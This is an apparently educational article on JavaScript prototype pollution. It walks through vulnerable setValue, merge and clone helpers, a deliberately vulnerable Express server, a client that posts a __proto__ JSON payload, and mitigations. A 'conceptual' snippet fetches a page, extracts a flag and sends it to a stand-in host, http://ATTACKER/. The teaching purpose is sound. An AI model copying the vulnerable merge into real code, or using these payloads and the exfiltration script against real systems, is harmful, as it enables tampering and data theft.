Overview

Prototype Pollution is a vulnerability specific to JavaScript. It lets an attacker inject a property into Object.prototype, and because almost every object in an application inherits from that prototype, the injected property shows up on objects the attacker never touched. The key that makes this work is __proto__: on a plain object, obj.__proto__ points straight at Object.prototype. Write through that reference once and you have changed a default that the entire application reads back.

Technical Background

JavaScript builds inheritance on prototypes. When you read a property or call a method on an object and it is not defined there, the engine walks up the prototype chain to the parent object and keeps looking until it finds the property or runs out of chain. That lookup is what makes prototypes useful, and it is also where the danger comes from: change something high up the chain and you change the default behavior every object below it sees.

It starts with __proto__. On a plain object it is a reference to Object.prototype, the shared root that ordinary objects inherit from. Writing a property through it does not touch one object, it touches the root that all of them read.

const obj1 = {};
console.log(obj1.__proto__ === Object.prototype); // true
obj1.__proto__.polluted = 1;
const obj2 = {};
console.log(obj2.polluted); // 1

Here obj1 and obj2 are separate objects that were never connected. Assigning obj1.__proto__.polluted = 1 writes onto Object.prototype, so obj2.polluted resolves to 1 through the chain even though nothing was ever written to obj2.

The Vulnerability

In real code this rarely looks like a direct __proto__ assignment. It happens when user input controls the key path an object is written to, and the code walks that path without checking for dangerous segments. Three patterns account for most of it: recursive property assignment, recursive object merge, and object cloning that is built on merge.

Property Assignment (setValue)

function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}

function setValue(obj, key, value) {
  const keylist = key.split('.');
  const e = keylist.shift();
  if (keylist.length > 0) {
    if (!isObject(obj[e])) obj[e] = {};
    setValue(obj[e], keylist.join('.'), value);
  } else {
    obj[key] = value;
    return obj;
  }
}

const obj1 = {};
setValue(obj1, "__proto__.polluted", 1);
const obj2 = {};
console.log(obj2.polluted); // 1

setValue splits a dotted key such as "__proto__.polluted" into segments and recurses into the object one segment at a time, creating intermediate objects as it goes. When the first segment is __proto__, obj[e] is Object.prototype, so the recursion descends into the prototype and the final assignment lands there. obj2 never took part, yet obj2.polluted reads back 1.

Object Merge (merge)

function merge(a, b) {
  for (let key in b) {
    if (isObject(a[key]) && isObject(b[key])) {
      merge(a[key], b[key]);
    } else {
      a[key] = b[key];
    }
  }
  return a;
}

const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"__proto__":{"polluted":1}}');
merge(obj1, obj2);
const obj3 = {};
console.log(obj3.polluted); // 1

Recursive merge is the pattern you meet most often in the wild, because merging user-supplied JSON into a config or options object is everywhere. JSON.parse('{"__proto__":{"polluted":1}}') produces an object whose __proto__ key is an own, enumerable property, so for (let key in b) iterates over it. The merge then recurses into a["__proto__"], which is Object.prototype, and writes polluted onto it. Every object created afterward inherits the value.

Object Clone (clone)

function clone(obj) {
  return merge({}, obj);
}

const obj1 = JSON.parse('{"__proto__":{"polluted":1}}');
const obj2 = clone(obj1);
const obj3 = {};
console.log(obj3.polluted); // 1

clone is just merge({}, obj), so it carries the merge bug with it. Cloning an object that was parsed from attacker-controlled JSON pollutes the prototype exactly the way a direct merge would. Anything built on top of a vulnerable merge inherits the same weakness.

Practical Demonstration

The patterns above are easy to dismiss as textbook snippets. On a server they turn into a request handler that copies untrusted JSON into an object, which is a normal-looking thing to do.

A Vulnerable Express Server

function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}

function merge(a, b) {
  for (let key in b) {
    // this branch must skip key === "__proto__"
    if (isObject(a[key]) && isObject(b[key])) {
      merge(a[key], b[key]);
    } else {
      a[key] = b[key];
    }
  }
  return a;
}

function clone(obj) {
  return merge({}, obj);
}

const express = require('express');
const app = express();
app.use(express.json());
app.post('/', (req, res) => {
  // cloning the attacker JSON as-is pollutes the prototype here
  const obj = clone(req.body);
  const r = {};
  // r.status is now tampered via prototype pollution
  const status = r.status ? r.status: 'NG';
  res.send(status)
});
app.listen(1234);

The handler calls clone(req.body) on the parsed request body, which runs the vulnerable merge over data the client fully controls. The comment on the merge marks the missing check: when key is __proto__, the code should skip it instead of recursing into the prototype, and it does not. A few lines later the server builds a fresh object r and reads r.status, falling back to 'NG' when it is absent. Nothing ever writes r.status, so under normal traffic the response is NG. Once the prototype is polluted, r.status resolves through the chain to the attacker’s value.

Sending the Malicious Payload

const http = require('http');
const client = http.request({
  host: 'localhost',
  port: 1234,
  method: 'POST'
}, (res) => {
  res.on('data', (chunk) => {
    console.log(chunk.toString());
  });
});
const data = '{"__proto__":{"status":"polluted"}}';
client.setHeader('content-type', 'application/json');
client.end(data);

The payload is a single JSON body, {"__proto__":{"status":"polluted"}}, posted with a JSON content type so express.json() parses it. After the server clones it, Object.prototype.status is set. The next read of r.status returns polluted, and the response flips from NG to polluted. One request changed a value the application computed for itself.

Impact

The demonstration changes a status string, which looks harmless on its own. What makes Prototype Pollution serious is that the polluted property is global to the process: every object that later reads that property without defining it gets the attacker’s value. Depending on what the application does with such defaults, that ranges from bypassing application logic and flipping access checks to crashing the process when a polluted value breaks an assumption made somewhere else.

The reach grows when a polluted property feeds into a sink that already exists in the codebase, often called a gadget. If a client-side gadget copies a polluted property into the DOM or into a script context, the pollution can be chained into XSS. If a server-side gadget passes a polluted property into a child process, a template, or a function that treats data as code, it can lead to code execution. Both outcomes depend on a suitable gadget being present, so treat them as possibilities to check for rather than guaranteed results.

Client-Side Chaining (conceptual)

<script>
fetch('http://2023whs.arang.kr:9200/prototype_pollution.php').then(response => response.text()).then(data => {
	let flag = data.match(/flag{.*?}/)[0];
	fetch('http://ATTACKER/receive_flag?flag=' + flag);
});
</script>

This snippet sketches how a client-side pollution could be turned into data exfiltration. The flag{.*?} inside data.match(...) is a regular expression that pulls a matching value out of the fetched response body, not a real captured flag, so there is nothing to mask here. The exfiltration endpoint is generalized as http://ATTACKER/. In a real chain the injected script would be reached through a pollution gadget rather than added to the page by hand, but the shape stays the same: read something sensitive, then send it to a server the attacker controls.

Mitigation

The fixes fall into two groups: stop dangerous keys from ever reaching the prototype, and make the prototype impossible to write in the first place.

1. Skip dangerous keys - Before recursing or assigning during a merge or a deep set, reject the segments __proto__, constructor, and prototype. This is the missing check the vulnerable merge above pointed at with its comment.

2. Store data in prototype-less objects - Build lookup objects with Object.create(null). They have no prototype chain, so an attacker-controlled __proto__ key becomes an ordinary own property instead of a path to Object.prototype.

3. Use Map for key/value data - A Map keeps its entries separate from object properties, so writing a __proto__ key stores a normal entry and touches no prototype. Map is not available in legacy environments that predate modern JavaScript.

4. Object.freeze(Object.prototype) - Freezing the prototype blocks writes to it outright. The tradeoff is real: legitimate code that expects to extend Object.prototype can stop working, so test before shipping it.

5. Validate input against a JSON schema - Run incoming JSON through a validator such as ajv with a schema that whitelists the expected shape, so unexpected keys like __proto__ are rejected before any merge runs.

6. Keep libraries current - Widely used libraries such as lodash have shipped fixes for prototype pollution in their merge and set helpers. Staying on patched versions closes bugs you did not write yourself.

Conclusion

Prototype Pollution turns one careless merge or clone into a change that spreads across every object in the process. The root cause is small and easy to miss: user input reaches an object key path, and a __proto__ segment walks the write straight onto Object.prototype. There is no exotic primitive involved, just a recursive helper that trusts its keys.

The defense is just as small. Reject __proto__, constructor, and prototype where user input controls keys, keep lookup data in prototype-less objects or a Map, and validate the shape of JSON before merging it. Handle the keys and the shared prototype stops being a shared attack surface.

References

• Prototype Pollution - PortSwigger Web Security Academy